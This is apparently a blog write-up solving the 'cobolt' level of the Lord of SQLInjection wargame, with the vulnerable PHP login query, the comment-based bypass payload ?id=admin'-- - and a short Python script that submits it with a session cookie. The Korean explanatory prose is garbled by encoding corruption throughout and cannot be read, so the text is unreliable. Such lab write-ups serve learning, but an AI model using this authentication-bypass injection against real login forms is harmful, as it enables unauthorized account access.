Write Up
์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
์ด์ gremlin ๋ฌธ์ ์ ๋งค์ฐ ์ ์ฌํ๋ค์
์์ค ์ฝ๋ ๋ถ์
...
#import point!!
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
...
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
ํฌ๊ฒ ๋ฌ๋ผ์ง ๋ถ๋ถ์ด์ ํต์ฌ์ธ ๋ถ๋ถ์
๋๋ค.
์์ ๋ดค๋ ๋ฌธ์ ์ ์ ์ฌํ๋, PW๋ฅผ md5๋ก ์ํธํ ํ ๋ชจ์ต์ ํ์ธ ํ ์ ์์ต๋๋ค.
์ฆ, ์ ์๋ brute force ๊ณต๊ฒฉ์ผ๋ก๋ ๊ฐ๋ฅํ๋ค๋ฉด ์ด์ ์ข ๋ ๊ฑธ๋ฆฐ๋ค๋ ์๋ฏธ?
SQL injection์ ํ๊ธฐ์ ์ ํฌ๋ ์ ๊ณผ ๊ฐ์ ํ์์ผ๋ก ํ๋ฉด ์ฌ์ค ํ๋ฆฐ๋ต๋๋ค..
MD5(Message-Digest algorithm 5)๋?
128๋นํธ ์ํธํ ํด์ ํจ์
RFC 1321๋ก ์ง์ ๋์ด ์์ผ๋ฉฐ, ์ฃผ๋ก ํ๋ก๊ทธ๋จ์ด๋ ํ์ผ์ด ์๋ณธ ๊ทธ๋๋ก์ธ์ง๋ฅผ ํ์ธํ๋ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ ๋ฑ์ ์ฌ์ฉ
MD5๋ ํ๋ ๋ฐ์ดํฐ ๋ณด์(์ํธํ)์ ์ฌ์ฉ๋์์ผ๋ฉฐ , ๊ทธ๋ฌ๋ ์์ฆ ์ฃผ์ ์ฉ๋๋ ์ธ์ฆ์ ๋๋ค. ๋๋ฌธ์ ํด์ปค ์์ ํ ๋ค๋ฅธ ํ์ผ๊ณผ ์ ํํ ๋์ผํ ํด์๋ฅผ ๊ฐ์ง ํ์ผ์ ๋ง๋ค ์ ์์ผ๋ฉฐ ๋๊ตฐ๊ฐ๊ฐ ํ์ผ์ ๋ฌด๋จ ๋ณ๊ฒฝํ๋ ๊ฒฝ์ฐ MD5๊ฐ ์์ ํ์ง ์์ต๋๋ค.
๊ทธ๋ฌ๋ ํ์ฌ๋ ๋จ์ํ ํ ์ฅ์์์ ๋ค๋ฅธ ์ฅ์๋ก ํ์ผ์ ๋ณต์ฌํ๋ ๊ฒฝ์ฐ MD5๊ฐ ์์ ์ ์ํํฉ๋๋ค.
๊ทธ๋ฌ๊ธฐ์ ํด๋น PW์ ์ฝ์ ํ๋ ๋ถ๋ถ์ ๊ทธ๋ฅ ์ฐํํ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๊ฒ ๋ค์.
Soultion
Where์ ์ฃผ์(์ฐํ)
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php
?id=admin%27--%20-
?id=admin'-- -
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์ ๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
์ ์ ๋ฌธ์ ์ ๋๋ฌด ๋๊ฐ์ด ํ์๋์..? id๊ฐ admin์ด์ผ ํ๋๊น ์์ ํ ๋ชจ์ต
๊ทผ๋ฐ ๋ญ.. ์ด๋ ๊ฒ ํด๋ ํ๋ฆฌ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์๋ค๋ฉด ์๋ ค์ฃผ์ธ์
(์ ๋ ๊ท์ฐฎ์์ ์ด๋ ๊ฒ ํ ๋๋๋ค ใ
)
Exploit Code
#!/usr/bin/python3
from requests import get
from pwn import *
url = 'https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php'
cookies = dict(PHPSESSID='05ivanqqvt1mh4gvt59jiihjj5')
query = "?id=admin'-- -"
def pw_leak(url, query):
r = get(url+query, cookies=cookies)
if r.text.find('<h2>COBOLT Clear!</h2>') > 0:
log.success('Success!!')
else:
log.failure('False :(')
if '__main__' in __name__:
print(url)
pw_leak(url, query)
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐ โLord_of_SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LORD OF SQLINJECTION] orc (2) | 2023.05.13 |
---|---|
[LORD OF SQLINJECTION] goblin (0) | 2023.05.12 |
[LORD OF SQLINJECTION]gremlin (0) | 2023.04.29 |